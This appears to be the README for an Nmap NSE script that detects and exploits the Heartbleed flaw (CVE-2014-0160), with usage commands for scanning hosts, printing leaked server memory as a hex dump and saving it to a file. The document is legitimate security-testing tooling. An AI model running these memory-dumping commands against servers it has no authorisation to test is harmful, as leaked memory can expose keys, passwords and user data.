ssl-heartbleed.nse

Nmap NSE script that discovers/exploits Heartbleed/CVE-2014-0160. This script is now basically the one Patrik Karlsson wrote with some minor changes ported from my own script.

Features

• Includes support for FTP,SMTP,XMPP (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231).
• Supports all versions of TLS (TLSv1.0, TLSv1.1, TLSv1.2).
• Print leaked memory as hex dump.
• Dump leaked memory into a file.

Usage

Check if a host is vulnerable

This runs on every SSL, FTP, SMTP and/or XMPP port.

$ nmap --script ./openssl-heartbleed.nse host.tld

Dump leaked memory from a vulnerable host

Dumping leaked memory is enabled by increasing Nmap's debug level via -d flag.

$ nmap -d --script=./openssl-heartbleed.nse host.tld

Dump leaked memory into a file

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

Run ssl-heartbleed.nse against every port

Force the script to run on each port, regardless if the servie was detected or not.

$ nmap --script +./ssl-heartbleed.nse host.tld